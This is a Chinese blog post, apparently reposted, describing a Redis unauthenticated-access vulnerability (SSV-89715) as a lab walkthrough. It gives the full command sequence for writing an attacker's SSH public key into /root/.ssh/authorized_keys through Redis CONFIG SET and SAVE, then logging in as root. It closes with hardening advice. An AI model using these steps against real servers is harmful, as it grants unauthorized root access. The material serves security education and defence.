首页 > 代码库 > Redis 未授权访问缺陷可轻易导致系统被黑【SSV-89715】

Redis 未授权访问缺陷可轻易导致系统被黑【SSV-89715】

参考链接:https://www.sebug.net/vuldb/ssvid-89715

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

环境:

KaLi:192.168.2.162

CentOS:192.168.2.32   

CentOS部署了redis数据库

步骤:

1.在Kali上生成密钥对:

    命令:ssh-keygen -t rsa

技术分享


2.将公钥写入 hack.txt 文件

    命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > hack.txt

技术分享


3.链接redis数据库,写入文件:

命令:

$ cat hack.txt | redis-cli -h 192.168.2.32 -x set crackit 

$ redis-cli -h 192.168.2.32 

$ 192.168.2.32:6379> config set dir /root/.ssh/

OK 

$ 192.168.2.32:6379> config get dir

1) "dir"

2) "/root/.ssh" 

$ 192.168.2.32:6379> config set dbfilename "authorized_keys" 

OK 

$ 192.168.2.32:6379> save

OK

技术分享

4.现在查看下 192.168.2.32 设备的/root/.ssh/authorized.keys文件,已经写进去了:

技术分享

5.使用Kali上生成的私钥链接CentOS设备

    命令:ssh -i id_rsa root@192.168.2.32

技术分享

6.登录成功。

7.敏感信息泄露:

    通过redis的info命令。可查看服务器的相关参数和敏感信息,如图:

技术分享

8.代码执行

    redis可以嵌套lua脚本的特性将会导致代码执行,危害通其他服务器端的代码执行,如图:

技术分享

    一旦攻击者可以在服务端执行任意代码,攻击方式讲话会变得多且复杂。

    通过lua代码攻击这可以调用redis.sha1hex()函数,恶意利用redis服务进行 SHA-1 的破解。

    

解决方案:

  1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.

  2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.

  3. 配置rename-command CONFIG "RENAME_CONFIG", 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度

  4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config



本文出自 “Mask_X 博客” 博客,请务必保留此出处http://zhpfbk.blog.51cto.com/4757027/1880418

Redis 未授权访问缺陷可轻易导致系统被黑【SSV-89715】